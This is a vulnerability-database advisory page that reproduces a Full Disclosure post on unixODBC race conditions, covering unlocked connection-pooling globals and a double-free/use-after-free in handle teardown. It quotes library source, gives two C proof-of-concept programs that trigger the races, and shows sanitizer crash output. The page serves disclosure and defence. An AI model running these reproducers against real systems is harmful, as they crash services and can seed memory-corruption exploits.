GCVE-1988-2026-0549

Vulnerability from gna-1988 – Published: 2026-11-05 04:38 – Updated: 2026-11-05 04:38
VLAI
Title
unixODBC <=2.3.14 Multiple Races
Summary
The unixODBC driver manager library contains multiple races of importance / interest, including a set of data races in the connection-pooling configuration state data that can cause one thread to read a half-written pool-size or timeout value, which can lead to a variety of harmful effects, as well as a race between teardown and error-handling functionality that can result in double-frees and use-after-frees. Other races exist within the code, as well, but, for brevity, are left as exercises for the reader. Examples Sample Data Races While 7 distinct data races were discovered, the following serves as a blueprint to find both the examples below and other instances. Connection-Pooling Configuration State Data Races The DriverManager's connection-pooling configuration state -- the globals `pooling_enabled`, `pool_max_size`, and `pool_wait_timeout` declared in `SQLConnect.c` -- is read and written from `SQLAllocHandle`, `SQLSetEnvAttr`, `SQLConnect`, `SQLDriverConnect`, `SQLDisconnect`, and `SQLFreeHandle` without any of the write paths acquiring a lock, despite such a lock -- a mutex in `__handles.c` -- already existing expressly for this purpose. Since the variables in question are neither atomic nor `volatile`, directly accessing them in such a fashion via reads and writes creates a data race, with the compiler and central processing unit (CPU) being free to tear, cache, and reorder the accesses (and the compiler will, more generally, assume single-threaded execution for non-atomic globals, which may cause aggressive optimisations, like moving reads out of loops, that further break runtime assumptions). While there are multiple sites with this specific problem, we will only show code for one for the sake of brevity. The sample code to reproduce the issue will, across multiple runs, demonstrate races in `SQLSetEnvAttr`, `SQLAllocHandle`, etc., so running it multiple times will provide a better example thereof, as one would expect with such an issue. ```c int pooling_enabled = 0; int pool_max_size = 0; int pool_wait_timeout; ``` Code snippet from `unixODBC`'s DriverManager/SQLConnect.c, lines 738-740 ```c /** Lines 255-261 **/ /* * connection pooling stuff */ extern int pooling_enabled; extern int pool_max_size; extern int pool_wait_timeout; /** ... **/ /** Lines 302-323 **/ if ( pooling_string[ 0 ] == '1' || toupper( pooling_string[ 0 ] ) == 'Y' || ( toupper( pooling_string[ 0 ] ) == 'O' && toupper( pooling_string[ 1 ] ) == 'N' )) { pooling_enabled = 1; } #ifdef WITH_SHARDENV if ( pooling_enabled ) { int first; SQLGetPrivateProfileString( "ODBC", "PoolMaxSize", "0", pool_max_size_string, sizeof( pool_max_size_string ), "ODBCINST.INI" ); pool_max_size = atoi( pool_max_size_string ); SQLGetPrivateProfileString( "ODBC", "PoolWaitTimeout", "30", pool_wait_timeout_string, sizeof( pool_wait_timeout_string ), "ODBCINST.INI" ); pool_wait_timeout = atoi( pool_wait_timeout_string ); /** .. **/ /** Lines 383-397 **/ #else if ( pooling_enabled ) { int first; SQLGetPrivateProfileString( "ODBC", "PoolMaxSize", "0", pool_max_size_string, sizeof( pool_max_size_string ), "ODBCINST.INI" ); pool_max_size = atoi( pool_max_size_string ); SQLGetPrivateProfileString( "ODBC", "PoolWaitTimeout", "30", pool_wait_timeout_string, sizeof( pool_wait_timeout_string ), "ODBCINST.INI" ); pool_wait_timeout = atoi( pool_wait_timeout_string ); ``` Snippets from `unixODBC`'s DriverManager/SQLAllocHandle.c ```c #include <stdio.h> #include <pthread.h> #include <sql.h> #include <sqlext.h> #define ITER 2000 static void *setter_thread(void *arg) { (void)arg; for (int i = 0; i < ITER; i++) { SQLSetEnvAttr(SQL_NULL_HENV, SQL_ATTR_CONNECTION_POOLING, (SQLPOINTER)SQL_CP_ONE_PER_DRIVER, 0); } return NULL; } static void *alloc_thread(void *arg) { (void)arg; for (int i = 0; i < ITER; i++) { SQLHENV henv = SQL_NULL_HENV; SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &henv); if (henv != SQL_NULL_HENV) { SQLFreeHandle(SQL_HANDLE_ENV, henv); } } return NULL; } int main(void) { pthread_t t1, t2; pthread_create(&t1, NULL, setter_thread, NULL); pthread_create(&t2, NULL, alloc_thread, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); printf("done\n"); return 0; } ``` Sample code to cause the data race ```text WARNING: ThreadSanitizer: data race (pid=1369482) Read of size 4 at 0x7f6f9fff8c28 by thread T2: #0 __SQLAllocHandle .../DriverManager/SQLAllocHandle.c:387:18 ... #1 SQLAllocHandle .../DriverManager/SQLAllocHandle.c:1396:12 ... #2 alloc_thread .../poc_pool_race.c:41:24 ... Previous write of size 4 at 0x7f6f9fff8c28 by thread T1: #0 SQLSetEnvAttr .../DriverManager/SQLSetEnvAttr.c:156:33 ... #1 setter_thread .../poc_pool_race.c:31:9 ... Location is global 'pooling_enabled' of size 4 at 0x7f6f9fff8c28 (libodbc.so.2+0x8ec28) ... SUMMARY: ThreadSanitizer: data race .../SQLAllocHandle.c:387:18 in __SQLAllocHandle ThreadSanitizer: reported 1 warnings ``` Output from ThreadSanitizer Sample Double-Free/Use-After-Free Race Although there are multiple instances of this issue within the code base, the following shall serve as a template to find the others. Racing on a Shared Handle The `__release_env`, `__release_dbc`, `__release_stmt`, and `__release_desc` cleanup functions in `__handles.c` perform `memset` and `free` operations to the caller-supplied handle pointer regardless of whether that pointer was actually found and unlinked from the handle list, but handle validation acquires and releases the shared `mutex_lists` lock before the caller proceeds to release the handle such that two threads that call `SQLFreeHandle` on the same handle simultaneously can both pass validation, so that both either free the same handle (a double-free) or one frees and the other then reads the freed handle (a use-after-free). Such bugs can, for example, result in a crash or exploitable memory corruption. Please note that our example only shows some of the instances and that the exact same paradigm exists elsewhere in the code. It should also be noted, for completeness, that the code in question and in our sample code snippets contain a variety of other bugs, including the handle being freed inside of the `mutex_lists` lock and then being unlinked from the list after validation has already occurred in a separate lock cycle. Also, `SQLFreeHandle` performs validation, drops the lock, and then calls `__release_env` -- it is this process that is allowing the race. Regarding the proof-of-concept (POC), we understand that threads would rarely race to free the base environment handle (`SQLHENV`) and that they are more likely to race on connection (`SQLHDBC`) and statement (`SQLHSTMT`) handles, but we, again, leave that as an exercise for the reader, especially since such adaptations are trivial and the vulnerable code segments are copy/pastes of that which is shown below. ```c thread_release( SQL_HANDLE_ENV, environment ); #ifdef WITH_SHARDENV if ( pooling_enabled == 0 ) { /* * release any pooled connections that are using this environment */ __strip_from_pool( environment ); } #else __strip_from_pool( environment ); #endif __release_env( environment ); return SQL_SUCCESS; } break; ``` Code snippet from `unixODBC`'s DriverManager/SQLFreeHandle.c, lines 271-288 ```c /** Lines 663-686 inside of __validate_env() **/ local_mutex_entry( &mutex_lists ); ptr = environment_root; while( ptr ) { if ( ptr == env ) { if ( env -> released ) { fprintf( stderr, "unixODBC: API Error, env handle used after being free\n" ); ret = 0; } else { ret = 1; } break; } ptr = ptr -> next_class_list; } local_mutex_exit( &mutex_lists ); /** ... **/ /** Lines 693-754 inside of __release_env**/ /* * remove from list */ void __release_env( DMHENV environment ) { DMHENV last = NULL; DMHENV ptr; if ( shared_environment && environment == shared_environment ) { return; } local_mutex_entry( &mutex_lists ); ptr = environment_root; while( ptr ) { if ( environment == ptr ) { break; } last = ptr; ptr = ptr -> next_class_list; } if ( ptr ) { if ( last ) { last -> next_class_list = ptr -> next_class_list; } else { environment_root = ptr -> next_class_list; } } clear_error_head( &environment -> error ); /* * free log */ dm_log_close(); #if defined ( COLLECT_STATS ) && defined( HAVE_SYS_SEM_H ) if (environment->sh) uodbc_close_stats(environment->sh); #endif /* * clear just to make sure */ memset( environment, 0, sizeof( *environment )); free( environment ); local_mutex_exit( &mutex_lists ); } ``` Snippets from `unixODBC`'s DriverManager/__handles.c ```c #include <sql.h> #include <sqlext.h> #include <pthread.h> #include <stdio.h> static SQLHANDLE henv; static void *racer(void *arg) { SQLRETURN ret = SQLFreeHandle(SQL_HANDLE_ENV, henv); printf("thread %ld: SQLFreeHandle returned %d\n", (long) arg, (int) ret); return NULL; } int main(void) { for (int iter = 0; iter < 1000; iter++) { SQLRETURN ret = SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &henv); if (ret != SQL_SUCCESS) { fprintf(stderr, "SQLAllocHandle failed (iter %d)\n", iter); return 1; } pthread_t t1, t2; pthread_create(&t1, NULL, racer, (void *) 1L); pthread_create(&t2, NULL, racer, (void *) 2L); pthread_join(t1, NULL); pthread_join(t2, NULL); } return 0; } ``` Sample code to cause the race ```text ================================================================== ==1368918==ERROR: AddressSanitizer: heap-use-after-free on address 0x61e00001b8b0 at pc 0x7f4de14b2e74 bp 0x7f4ddd3fdcf0 sp 0x7f4ddd3fdce8 READ of size 8 at 0x61e00001b8b0 thread T74 #0 0x7f4de14b2e73 in clear_error_head DriverManager/__info.c:4234:42 #1 0x7f4de149fe0b in __release_env DriverManager/__handles.c:682:5 #2 0x7f4de13c8b88 in __SQLFreeHandle DriverManager/SQLFreeHandle.c:286:13 #3 0x4ded0e in racer repro.c:27:5 freed by thread T73 here: #0 0x4a31e6 in free #1 0x7f4de149fe30 in __release_env DriverManager/__handles.c:701:5 #2 0x7f4de13c8b88 in __SQLFreeHandle DriverManager/SQLFreeHandle.c:286:13 #3 0x4ded0e in racer repro.c:27:5 previously allocated by thread T0 here: #0 in __interceptor_calloc ``` Output from AddressSanitizer _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version CPE status
Unixodbc <=2.3.14 Affected: unknown
guessed Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "\u003c=2.3.14",
          "vendor": "Unixodbc",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Daniel Owens via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The unixODBC driver manager library contains multiple races of importance / interest, including a set of data races in \nthe connection-pooling configuration state data that can cause one thread to read a half-written pool-size or timeout \nvalue, which can lead to a variety of harmful effects, as well as a race between teardown and error-handling \nfunctionality that can result in double-frees and use-after-frees.  Other races exist within the code, as well, but, \nfor brevity, are left as exercises for the reader.\n\nExamples\nSample Data Races\nWhile 7 distinct data races were discovered, the following serves as a blueprint to find both the examples below and \nother instances.\n\nConnection-Pooling Configuration State Data Races\nThe DriverManager\u0027s connection-pooling configuration state -- the globals `pooling_enabled`, `pool_max_size`, and \n`pool_wait_timeout` declared in `SQLConnect.c` -- is read and written from `SQLAllocHandle`, `SQLSetEnvAttr`, \n`SQLConnect`, `SQLDriverConnect`, `SQLDisconnect`, and `SQLFreeHandle` without any of the write paths acquiring a lock, \ndespite such a lock -- a mutex in `__handles.c` -- already existing expressly for this purpose.  Since the variables in \nquestion are neither atomic nor `volatile`, directly accessing them in such a fashion via reads and writes creates a \ndata race, with the compiler and central processing unit (CPU) being free to tear, cache, and reorder the accesses (and \nthe compiler will, more generally, assume single-threaded execution for non-atomic globals, which may cause aggressive \noptimisations, like moving reads out of loops, that further break runtime assumptions).  While there are multiple sites \nwith this specific problem, we will only show code for one for the sake of brevity.  The sample code to reproduce the \nissue will, across multiple runs, demonstrate races in `SQLSetEnvAttr`, `SQLAllocHandle`, etc., so running it multiple \ntimes will provide a better example thereof, as one would expect with such an issue.\n\n```c\nint pooling_enabled = 0;\nint pool_max_size = 0;\nint pool_wait_timeout;\n```\nCode snippet from `unixODBC`\u0027s DriverManager/SQLConnect.c, lines 738-740\n\n```c\n/** Lines 255-261 **/\n/*\n* connection pooling stuff\n*/\n\nextern int pooling_enabled;\nextern int pool_max_size;\nextern int pool_wait_timeout;\n/** ... **/\n/** Lines 302-323 **/\n            if ( pooling_string[ 0 ] == \u00271\u0027 ||\n                toupper( pooling_string[ 0 ] ) == \u0027Y\u0027 ||\n                ( toupper( pooling_string[ 0 ] ) == \u0027O\u0027 \u0026\u0026\n                    toupper( pooling_string[ 1 ] ) == \u0027N\u0027 ))\n            {\n                pooling_enabled = 1;\n            }\n\n#ifdef WITH_SHARDENV\n            if ( pooling_enabled )\n            {\n                int first;\n\n                SQLGetPrivateProfileString( \"ODBC\", \"PoolMaxSize\", \"0\",\n                    pool_max_size_string, sizeof( pool_max_size_string ),\n                    \"ODBCINST.INI\" );\n                pool_max_size = atoi( pool_max_size_string );\n\n                SQLGetPrivateProfileString( \"ODBC\", \"PoolWaitTimeout\", \"30\",\n                    pool_wait_timeout_string, sizeof( pool_wait_timeout_string ),\n                    \"ODBCINST.INI\" );\n                pool_wait_timeout = atoi( pool_wait_timeout_string );\n/** .. **/\n/** Lines 383-397 **/\n#else\n\n            if ( pooling_enabled )\n            {\n                int first;\n\n                SQLGetPrivateProfileString( \"ODBC\", \"PoolMaxSize\", \"0\",\n                    pool_max_size_string, sizeof( pool_max_size_string ),\n                    \"ODBCINST.INI\" );\n                pool_max_size = atoi( pool_max_size_string );\n\n                SQLGetPrivateProfileString( \"ODBC\", \"PoolWaitTimeout\", \"30\",\n                    pool_wait_timeout_string, sizeof( pool_wait_timeout_string ),\n                    \"ODBCINST.INI\" );\n                pool_wait_timeout = atoi( pool_wait_timeout_string );\n```\nSnippets from `unixODBC`\u0027s DriverManager/SQLAllocHandle.c\n\n```c\n#include \u003cstdio.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csql.h\u003e\n#include \u003csqlext.h\u003e\n\n#define ITER 2000\n\nstatic void *setter_thread(void *arg) {\n   (void)arg;\n   for (int i = 0; i \u003c ITER; i++) {\n        SQLSetEnvAttr(SQL_NULL_HENV, SQL_ATTR_CONNECTION_POOLING,\n                       (SQLPOINTER)SQL_CP_ONE_PER_DRIVER, 0);\n     }\n     return NULL;\n}\n\nstatic void *alloc_thread(void *arg) {\n    (void)arg;\n    for (int i = 0; i \u003c ITER; i++) {\n        SQLHENV henv = SQL_NULL_HENV;\n        SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, \u0026henv);\n        if (henv != SQL_NULL_HENV) {\n            SQLFreeHandle(SQL_HANDLE_ENV, henv);\n        }\n    }\n    return NULL;\n}\n\nint main(void) {\n    pthread_t t1, t2;\n    pthread_create(\u0026t1, NULL, setter_thread, NULL);\n    pthread_create(\u0026t2, NULL, alloc_thread, NULL);\n    pthread_join(t1, NULL);\n    pthread_join(t2, NULL);\n    printf(\"done\\n\");\n    return 0;\n}\n```\nSample code to cause the data race\n\n```text\nWARNING: ThreadSanitizer: data race (pid=1369482)\n  Read of size 4 at 0x7f6f9fff8c28 by thread T2:\n    #0 __SQLAllocHandle .../DriverManager/SQLAllocHandle.c:387:18 ...\n    #1 SQLAllocHandle .../DriverManager/SQLAllocHandle.c:1396:12 ...\n    #2 alloc_thread .../poc_pool_race.c:41:24 ...\n  Previous write of size 4 at 0x7f6f9fff8c28 by thread T1:\n    #0 SQLSetEnvAttr .../DriverManager/SQLSetEnvAttr.c:156:33 ...\n    #1 setter_thread .../poc_pool_race.c:31:9 ...\n  Location is global \u0027pooling_enabled\u0027 of size 4 at 0x7f6f9fff8c28 (libodbc.so.2+0x8ec28)\n  ...\nSUMMARY: ThreadSanitizer: data race .../SQLAllocHandle.c:387:18 in __SQLAllocHandle\nThreadSanitizer: reported 1 warnings\n```\nOutput from ThreadSanitizer\n\nSample Double-Free/Use-After-Free Race\nAlthough there are multiple instances of this issue within the code base, the following shall serve as a template to \nfind the others.\n\nRacing on a Shared Handle\nThe `__release_env`, `__release_dbc`, `__release_stmt`, and `__release_desc` cleanup functions in `__handles.c` perform \n`memset` and `free` operations to the caller-supplied handle pointer regardless of whether that pointer was actually \nfound and unlinked from the handle list, but handle validation acquires and releases the shared `mutex_lists` lock \nbefore the caller proceeds to release the handle such that two threads that call `SQLFreeHandle` on the same handle \nsimultaneously can both pass validation, so that both either free the same handle (a double-free) or one frees and the \nother then reads the freed handle (a use-after-free).  Such bugs can, for example, result in a crash or exploitable \nmemory corruption.  Please note that our example only shows some of the instances and that the exact same paradigm \nexists elsewhere in the code.\n\nIt should also be noted, for completeness, that the code in question and in our sample code snippets contain a variety \nof other bugs, including the handle being freed inside of the `mutex_lists` lock and then being unlinked from the list \nafter validation has already occurred in a separate lock cycle.  Also, `SQLFreeHandle` performs validation, drops the \nlock, and then calls `__release_env` -- it is this process that is allowing the race.\n\nRegarding the proof-of-concept (POC), we understand that threads would rarely race to free the base environment handle \n(`SQLHENV`) and that they are more likely to race on connection (`SQLHDBC`) and statement (`SQLHSTMT`) handles, but we, \nagain, leave that as an exercise for the reader, especially since such adaptations are trivial and the vulnerable code \nsegments are copy/pastes of that which is shown below.\n\n```c\n            thread_release( SQL_HANDLE_ENV, environment );\n\n#ifdef WITH_SHARDENV\n            if ( pooling_enabled == 0 ) {\n                /*\n                 * release any pooled connections that are using this environment\n                 */\n                __strip_from_pool( environment );\n            }\n#else\n            __strip_from_pool( environment );\n#endif\n\n            __release_env( environment );\n\n            return SQL_SUCCESS;\n        }\n        break;\n```\nCode snippet from `unixODBC`\u0027s DriverManager/SQLFreeHandle.c, lines 271-288\n\n```c\n/** Lines 663-686 inside of __validate_env() **/\n    local_mutex_entry( \u0026mutex_lists );\n\n    ptr = environment_root;\n\n    while( ptr )\n    {\n        if ( ptr == env )\n        {\n            if ( env -\u003e released )\n            {\n                fprintf( stderr, \"unixODBC: API Error, env handle used after being free\\n\" );\n                ret = 0;\n            }\n            else\n            {\n                ret = 1;\n            }\n            break;\n        }\n\n        ptr = ptr -\u003e next_class_list;\n    }\n\n    local_mutex_exit( \u0026mutex_lists );\n/** ... **/\n/** Lines 693-754 inside of __release_env**/\n/*\n* remove from list\n*/\n\nvoid __release_env( DMHENV environment )\n{\n    DMHENV last = NULL;\n    DMHENV ptr;\n\n    if ( shared_environment \u0026\u0026 environment == shared_environment ) {\n        return;\n    }\n\n    local_mutex_entry( \u0026mutex_lists );\n\n    ptr = environment_root;\n\n    while( ptr )\n    {\n        if ( environment == ptr )\n        {\n            break;\n        }\n        last = ptr;\n        ptr = ptr -\u003e next_class_list;\n    }\n\n    if ( ptr )\n    {\n        if ( last )\n        {\n            last -\u003e next_class_list = ptr -\u003e next_class_list;\n        }\n        else\n        {\n            environment_root = ptr -\u003e next_class_list;\n        }\n    }\n\n    clear_error_head( \u0026environment -\u003e error );\n\n                /*\n                * free log\n                */\n\n    dm_log_close();\n\n#if defined ( COLLECT_STATS ) \u0026\u0026 defined( HAVE_SYS_SEM_H )\n    if (environment-\u003esh)\n        uodbc_close_stats(environment-\u003esh);\n#endif\n\n    /*\n     * clear just to make sure\n     */\n\n    memset( environment, 0, sizeof( *environment ));\n\n    free( environment );\n\n    local_mutex_exit( \u0026mutex_lists );\n}\n```\nSnippets from `unixODBC`\u0027s DriverManager/__handles.c\n\n```c\n#include \u003csql.h\u003e\n#include \u003csqlext.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n\nstatic SQLHANDLE henv;\n\nstatic void *racer(void *arg) {\n    SQLRETURN ret = SQLFreeHandle(SQL_HANDLE_ENV, henv);\n    printf(\"thread %ld: SQLFreeHandle returned %d\\n\", (long) arg, (int) ret);\n    return NULL;\n}\n\nint main(void) {\n    for (int iter = 0; iter \u003c 1000; iter++) {\n        SQLRETURN ret = SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, \u0026henv);\n        if (ret != SQL_SUCCESS) {\n            fprintf(stderr, \"SQLAllocHandle failed (iter %d)\\n\", iter);\n            return 1;\n        }\n\n        pthread_t t1, t2;\n        pthread_create(\u0026t1, NULL, racer, (void *) 1L);\n        pthread_create(\u0026t2, NULL, racer, (void *) 2L);\n        pthread_join(t1, NULL);\n        pthread_join(t2, NULL);\n    }\n    return 0;\n}\n```\nSample code to cause the race\n\n```text\n==================================================================\n==1368918==ERROR: AddressSanitizer: heap-use-after-free on address 0x61e00001b8b0 at pc 0x7f4de14b2e74 bp \n0x7f4ddd3fdcf0 sp 0x7f4ddd3fdce8\nREAD of size 8 at 0x61e00001b8b0 thread T74\n    #0 0x7f4de14b2e73 in clear_error_head DriverManager/__info.c:4234:42\n    #1 0x7f4de149fe0b in __release_env DriverManager/__handles.c:682:5\n    #2 0x7f4de13c8b88 in __SQLFreeHandle DriverManager/SQLFreeHandle.c:286:13\n    #3 0x4ded0e in racer repro.c:27:5\n\nfreed by thread T73 here:\n    #0 0x4a31e6 in free\n    #1 0x7f4de149fe30 in __release_env DriverManager/__handles.c:701:5\n    #2 0x7f4de13c8b88 in __SQLFreeHandle DriverManager/SQLFreeHandle.c:286:13\n    #3 0x4ded0e in racer repro.c:27:5\n\npreviously allocated by thread T0 here:\n    #0 in __interceptor_calloc\n```\nOutput from AddressSanitizer\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-05T04:38:41Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/9"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Nov/9"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Nov/9"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "unixODBC \u003c=2.3.14 Multiple Races",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0549",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/9",
            "automated": true,
            "contentSha256": "6a1c1cf7a2ad3d97d7f34204d40d10bfd034435afd8c57c465642bca5e1fda4e",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/9",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-11-04T13:14:51Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-05T04:38:41Z",
    "dateUpdated": "2026-11-05T04:38:41Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0549"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.